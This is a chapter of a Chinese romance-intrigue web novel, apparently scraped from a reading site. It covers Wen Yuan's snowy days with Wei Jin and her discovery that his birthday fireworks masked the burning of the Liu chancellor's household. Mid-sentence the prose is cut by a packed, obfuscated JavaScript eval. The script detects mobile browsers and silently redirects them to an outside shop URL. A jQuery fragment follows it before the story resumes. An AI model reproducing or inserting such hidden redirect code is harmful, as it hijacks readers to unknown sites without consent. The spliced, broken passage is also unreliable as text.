闻鸳的道理讲不通。
所幸丫头将午膳送来,卫进到底没真让她躺在榻上吃。
纵马一夜没有胃口,厨房备的菜色也清淡。馄饨汤配几道精细小菜,驱散了身上残留的寒气。
热汤从胃暖到心,闻鸳觉得身上松快不少。一碗见了底,再看卫进,却是动也未动。
单手撑头,直勾勾盯着她。
闻鸳被看得不自在,拿起帕子擦嘴角,小声问:
“看什么?”
那人伸手轻扯她衣袖,眉眼间笑意未改。
闻鸳在心底叹了口气,多是无奈。换了他的筷子,夹上一些新鲜的青菜,喂到人嘴边。
卫进抿唇不张口,歪头拒绝:
“烫。”
在桌上晾了这许久,馄饨汤都放冷了,青菜岂还会烫。
闻鸳知他打的什么主意。
于是拿回来,当着他的面吹几下再喂,他便肯吃了。
青菜如此,馄饨亦如此。卫进不急,由着她仔细夹、小心吹,半点不挑。
一餐饭吃得安静,暖炉煮秋风,别有一番滋味。
撤走杯盘,闻鸳吩咐人将卫进先前用的伤药一并拿来。
两度受罚皆在西厂将养,府上备的药不全,多是清热止疼的。闻鸳不懂医,等卫进挑出其中一罐,才净手替他宽衣。
他的气息是冷的,胸膛是火热的。隔着单薄一层中衣,依稀灼烧她的指尖。
素手拆衣扣,襟怀敞开。闻鸳所见是他宽厚胸膛,臂膀精瘦却不显文弱,哪怕坐着,身形亦宛若苍劲松柏,凛不可犯,一时脸颊发烫,垂眸不敢沾。
那人轻笑一声,主动转身,拨下衣领。
习武之人脊背开阔,他犹是,宽肩窄腰,英姿挺拔。背上的旧伤已痊愈,落的疤浅红几道,未使白壁生瑕,反添几分久经风霜的隐忍。
闻鸳心跳愈急,替人上药的手微微发抖。她屏住呼吸,胡乱抹一通,待抬眼看去,竟全洒在了衣服上。
卫进不催也不恼,极配合地把衣裳褪至腰际。
一览无余。
闻鸳没法子了。
炭火烧得太旺,屋中闷热。使她渐渐压不住越发急促焦灼的呼吸,抹不掉心头隐隐作祟的悸动。
唯有在淡苦的草药香气里,任暖意浸透骨血,撩拨心弦。
卫进背上的新伤均已转好,红肿消退,看上去确无大碍,仅余几道仍未愈合的伤口丝丝渗着血。闻鸳将棉棒覆于其上,力气不大,那人却猛地躲了一下。
“我轻些。”
她放缓动作,只用棉棒蘸取药粉点点洒上,换指腹轻柔推开。
如是,他非但不躲,还有意朝她靠,几乎依在了她身上。
几处伤口处理罢,闻鸳替他简单包扎,重新合上衣衫。手才放下药瓶,又被他握在掌中。
“这几日天冷,少出门。”
卫进口吻平淡,闻鸳当是寻常叮嘱,并未放在心上,随口应下:
“知道了。”
那人牵她的手至唇边轻啄:
“近来西厂公务多,我过些时候回来陪你。”
“嗯,”她道,“你也……多保重。”
卫进离府那日,下了今冬第一场雪。
鹅毛漫天,满城素裹。一夜之间,院内尺雪没了小腿,扫了半日才得一条小蹊。
雪连三日,闻鸳懒出门,手捧袖炉,倚窗观雪打发时光。明月几个不怕冷的,在她窗下围炉煮茶,天南海北聊了许多话。
她闲着无趣,将覆雪的轩窗推开条缝,也加了进来。
“城中有何新鲜事吗?”
“回夫人的话,奴上街时见行人稀少,想是大雪封路的缘故。”
其中一个丫头这般说,另一人从旁附和:
“冰封雪盖的,地上又滑,家家户户都闭门不出。今儿早上他们扫雪的时候,护院的大富一连摔了好几跤,都摔成雪人了。”
几个丫头笑作一团,明月闻言,倒是萌生个新念头:
“夫人,咱们堆雪人吧!”
此言一出,姐妹几个顿时兴奋起来。明月素日伺候得近,与她最熟,干脆上手拉她,非要一起不可。
闻鸳懒惯了,雨雪天尤甚,自是不愿去。不过这会儿把她们当闻缨哄,还是披上冬衣出了门。
树梢的雪最干净,窗台的雪最易得。闻鸳捡这两处的,用手帕兜好压实小小一颗圆球,来做雪人的头。她放下这块,拿起墙角的扫把,把地上的积雪聚成一团,拍成小丘的形状,便是雪人的身子。
头叠在身子上,不知谁扯了块黑布围起来,雪人就有了轮廓。
明月寻来两片大小相当的落叶,一左一右贴在头上,即为“画龙点睛”。
大功告成,闻鸳瞧着这雪人总觉眼熟。
尤其是那块黑布。
这家伙,似乎太像人了。
“呀,”明月忍俊不禁,“这雪人,长得像督公!”
闻鸳恍然。
那块黑布,便是卫进常穿的玄色披风。他不苟言笑时,脸比霜雪还要冷,同这雪人一般模样。
只是,好像差了点儿什么。
闻鸳蹲下来,以指甲在雪人脸上描画五官。卫进的眉宇凌厉,透着股将门的英气,鼻子也高挺端正,随雪屑飞落,跃然于她指尖。
她专心描摹,没留意身后。明月食指竖在唇上,朝旁人做了个噤声的手势,继而弯腰抓了一大把积雪,团成个既唬人又松散的雪球。
“夫人!”
她话音未落,手里的雪球瞄准闻鸳就砸。
闻鸳只觉背上一紧,回头看去,罪魁祸首正抿着嘴儿偷乐。
“你这丫头,”她随手也抓了一把,来不及团成球,直接朝人扬了去,“看招!”
碎雪化开一片,站在后面的几人雨露均沾,裙子上全沾上雪花。这下无一个轻饶她,纷纷攥雪反击。
雪球乱飞,分不清究竟谁打了谁,满院乱丢一气。
闻鸳穿着棉靴,不及她们灵活,两三番交战后,身上飘的雪最多。碧蓝披风之上白梅次第开,发梢之上亦未能幸免,盖了薄薄一层银白。
她也不在乎,好不容易团了个趁手的雪球,正要扳回一城,转身后却倏然撞进一个洇有冷香的怀抱。
抬头看,恰迎上对方垂眸望她,眼神凝作一汪弱水,融融浮动她的影子。
风吹
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17450275|201167||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
枝头,细雪盈首。
点点雪花落在那人发间,青丝恍作白发,闻鸳片刻愣神。却不知她看卫进如此,卫进看她亦然。
得沐今朝雪,方敢寄白头。
卫进望她须臾,拇指轻轻揩去她睫羽之上融化的水珠,再扫下她头上落雪,这才单手把她带进怀里。
耳鬓厮磨,他总是愿守着她的耳尖开口:
“皇上赏了荔枝,记得你喜欢。”
闻鸳诧异:
“这个时节,还能得荔枝?”
卫进笑笑,抬手示意下人呈上来。
所得不多,仅两小盒。一盒剥好了皮,莹润洁白的荔枝肉散发着甜香,乍启开盖子便引人食指大动。另一盒是完整的,其上有几处白霜,似乎还未化冻。
“今夏摘了,一直存在冰窖里,”卫进用果叉择了颗最饱满的,“尝尝还新不新鲜。”
闻鸳咬上一口,果汁立时在齿间爆开。虽比不上盛夏时节的甜糯,但已是这严冬里难得的佳果。
她把剩下半颗推给卫进:
“你也尝尝。”
“方才尝过了。”
卫进将余下的放回盒子,留待她一会儿吃。又叮嘱她,剥开的这两日享用,不可久置,带壳的可多留些时日,而后匆匆又赴西厂。
公务为重,闻鸳不留他。
只是在拈起荔枝时回味过来,皇帝赏赐,断不会两盒不相同。
眼下这一盒,是他回来路上亲手剥的。
冬天的荔枝难得,盒中八颗,闻鸳吃得很慢。第二盒没舍得,雪停那日,亲自送去了太师府。
不料父母俱不在,兰姨娘和闻缨也不知去向。
她把荔枝托付给老管家冯二,问起出了何事。
冯二老实本分,又在府上做了许多年,同她无可隐瞒,一五一十全交代了。
“大小姐生辰那夜,柳相府上着了场大火,主子加上家奴,四十几口全葬身火海,连个全尸也没留下。襄王妃得了消息,从江南赶来京师须得半个月。这阵子,是太师和夫人带着二小姐,暂代朝廷,为柳相一家打点后事。”
柳学士官拜丞相,次女柳夕乃是襄王妃,当朝的皇嫂,门楣何其显赫!家中失火,竟无左邻右里帮衬扑救,闻鸳无论如何也不敢信。
那可是一朝左相,人在京师,居然,就这么活活烧死了?
“府上走水,四近竟无人听见呼救?”她问,“再不济,火光冲天,便无人看得见吗?”
冯二面有惋惜,叹道:
“本应是有的。可是,不知那夜谁人在京中燃放烟火,花炮声震天,左右皆未听见呼救。加之,烟花密集迷人眼,纵有火光,怕也当作烟火了。”
那夜的烟花,是卫进准备的。
炮声掩盖呼救,焰火遮蔽火光,偏偏是同一日……巧合到这个份儿上,是为谋算。
刹那,闻鸳如置冰窖。
她的生辰,从此成了柳家四十余口人的忌日。
贺生辰的烟花,原是白骨焚灰的灭门之恨。
她无法不想起,中秋夜,也是这般灯树千照的盛大阵仗。
前有张侍郎,后有柳相……那一夜,杀的又是谁。